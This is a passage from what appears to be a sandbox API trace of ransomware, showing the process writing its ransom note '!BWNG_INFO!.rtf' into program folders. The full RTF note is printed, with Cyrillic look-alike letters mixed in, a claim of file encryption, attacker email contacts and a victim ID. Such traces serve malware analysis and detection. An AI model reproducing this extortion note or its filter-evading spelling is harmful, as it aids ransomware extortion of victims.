t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.565] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.567] CloseHandle (hObject=0x1cc) returned 1 [0040.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\!bwng_info!.rtf")) returned 0xffffffff [0040.567] GetLastError () returned 0x2 [0040.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 